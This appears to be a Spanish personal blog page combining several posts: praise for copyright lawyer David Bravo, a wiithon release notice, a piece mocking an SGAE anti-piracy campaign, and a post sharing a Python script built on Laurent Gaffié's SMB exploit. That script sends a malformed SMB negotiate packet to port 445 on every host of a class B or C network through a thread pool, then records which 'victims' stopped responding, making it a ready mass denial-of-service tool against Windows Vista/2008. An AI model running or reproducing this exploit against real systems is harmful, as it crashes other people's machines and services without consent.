David Bravo en 59 segundos, sublime

Me imagino que conocereis este famoso abogado especializado en derecho informático y especialmente en derechos de autor. Ya ha sido invitado prácticamente ha todos los debates televisivos sobre derecho a copia privada y derechos en Internet en general.

Os diré que este tipo es en una palabra, un FENÓMENO. Por dando va, reparte ostias par todos, es el foco del debate y deja planchado a cualquiera. Por supuesto por mucha ORATORIA que tenga David (y sea el único en saber como comunicar ideas que otras personas compartimos), esto se consigue debido a que el bando opuesto del debate, sin duda no tiene razón, esta errado, forma parte del lado oscuro, o como queráis llamarlo.

El programa ha terminado hace pocas horas y no he encontrado ningún video para pastearos frases literales y objetivas. Os recomiendo que lo busqueis, no obstante os dejo una imagen con un resumen con una de las conversiones con Enrique Urbizu que mejor lo he pasado. (No tomeis las frases al pie de la letra, son interpretaciones de mi recuerdo).


Todos los miembros invitados son: el compositor y consejero de la SGAE, José Miguel Fernández Sastrón; el director de cine y presidente de DAMA (Derechos de Autor de Medios Audiovisuales), Enrique Urbizu; el periodista y bloggero, Ignacio Escolar; el presidente de AETIC, la patronal de las empresas de comunicación, Jesús Banegas; el escritor, Lorenzo SilvaPOR SUPUESTO el abogado especialista en propiedad intelectual y derecho informático, David Bravo

Enlaces:
Web de 59 segundos
Blog de David Bravo

Escaner exploit para Windows Vista / 2008

Basandome en un sencillo exploit realizado por Laurent Gaffié, lo he complicado un poco, con el fin de facilitar un poco el testeo de este exploit.
Puede hacer un escaner en redes de tipo B, C o ip única. Realmente NO lo he probado, pero debería funcionar, no obstante irlo probando y lo ire modificando, también lo publicaré en Media-Vida.
Tambien le he metido remesa(pool) de hilos, para evitar tanta espera inútil de I/O.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  https://blogricardo.wordpress.com/
# Hecho Ricardo Marmolejo García 
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 10 de septiembre de 2009 12:30
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 (  https://blogricardo.wordpress.com/licencia/ )

import time
import sys
import threading
from threading import Thread
from Queue import Queue
from socket import socket
from time import sleep

# configuracion
NUM_THREADS = 50
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.4'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)
                
    def estaOcupado(self):
        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):
    
    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)        
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )
    
    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)
        
    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):
        
        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(3*self.TIMEOUT)
                s.connect((victima,puerto))
                s.send(self.buff)
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()
            
            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(10)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Posible exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima

Foro: Media-Vida

wiithon . WBFS GUI en Linux para WII . v0.98!

POST ANTICUADO, última versión wiithon: 1.1 https://blogricardo.wordpress.com/2009/11/20/wiithon-1-1-publicado/

Seguir leyendo

«Si eres legal, eres legal», sino, eres un ladrón de la SGAE

Con este original eslogan para una campaña pagada con dinero público para intereses de una empresa privada (que se hace llamar asociación sin animo de lucro). Como todos sospechamos SGAE.es y la web de sireslegalereslegal.com estan totalmente relacionadas.

Parace ser que esta haciendo un concurso entre testimonios de legales: (Llamándonos ilegales a los que piratean cuando no hay ninguna ley que diga que bajarse peliculas o música para uso propio sea ilegal.). Aqui algunos seleccionados por David Bravo (Boton derecho – Ver Imagen ya que se me cortan las imágenes):

testimonio4.jpg

moderado7.jpg

moderador8.jpg

testimonio11.jpg
testimonio12.jpg
testimonio13.jpg
testimonio14.jpg

Aqui pongo algunas respuestas de internautas que he encontrado por los foros (media-vida):

jajajaaja, comentarios 100% veraces por factonini

Lamentablemente ese mensjae va dirigido a los ignorantes que no saben 0 de informatica, en mi familia tengo unos cuantos y se que eso del virus les colaria. por Salcort

a mi la pirateria me ha resecado la piel, tengo el cutis fatal oO por geco

Todos esos mensajes pasan un filtro de moderación… es decir, censuran los comentarios y no permiten el debate plural. Vaya talante. por Dod-Evers

para comentario el de david bravo
«Lo peor de la piratería p2p es que está llena de fakes. Es decir, archivos con un nombre pero que después contienen otra cosa. Yo mismo me descargué una película que supuestamente era pornográfica. Con toda ilusión, fui a verla con mis amigos y, al ponerla en el DVD, cuál no fue mi sorpresa cuando apareció en su lugar una inocente y exitosa película de dibujos animados. Mi amigo Ignacio estuvo varias semanas sin hablarme» por DaRkViRuZ

Aqui mi testimonio que espero que el moderador no me censure( -_- ) por que porsupuesto, YO SOY LEGAL!:

Es inconstitucional prohibir el compartir, lo que si pueden hacer es comernos la cabeza y reeducarnos para que compartir sea malo. Si compartir os perjudica, cambiar a un modelo de negocio que se adapte a una realidad social y no condene a sus clientes.

Fuentes: (imprescindible que leáis a David Bravo)
http://www.filmica.com/david_bravo/archivos/008678.html#comments
http://www.escolar.net/MT/archives/000780.html
http://www.mediavida.com/vertema.php?fid=6&tid=342603
http://blogs.periodistadigital.com/tecnologia.php/2008/11/25/cultura-campana-descargas-ilegales-9999